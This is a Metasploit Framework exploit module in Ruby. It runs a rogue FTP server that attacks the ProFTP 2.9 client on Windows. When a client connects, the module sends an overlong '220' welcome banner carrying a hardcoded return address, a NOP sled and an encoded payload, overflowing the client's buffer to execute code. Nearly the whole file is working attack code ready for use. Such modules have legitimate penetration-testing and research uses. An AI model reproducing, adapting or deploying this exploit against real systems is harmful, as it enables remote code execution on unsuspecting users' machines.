# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::TcpServer

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'ProFTP 2.9 (welcome message) Remote Buffer Overflow Exploit',
   'Description'    => %q{
    This module exploits a buffer overflow in the ProFTP 2.9
    client that is triggered through an excessively long welcome message.
   },
   'Author'   => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'URL', 'http://www.labtam-inc.com/index.php?act=products&pid=1' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
    # Tested against- xp sp3 en OK.
     [ 'Universal',  { 'Ret' => 0x6809d408 } ], # WCMDPA10
    ],
   'Privileged'     => false,
   'DefaultTarget'  => 0))

  register_options(
   [
    OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
   ], self.class)
 end

 def on_client_connect(client)
  return if ((p = regenerate_payload(client)) == nil) 

  buffer =  "220 "
  buffer << rand_text_numeric(2064)
  buffer << [target.ret].pack('V')
  buffer << make_nops(20)
  buffer << payload.encoded
  buffer << "\r\n"
  client.put(buffer)
 end
 
end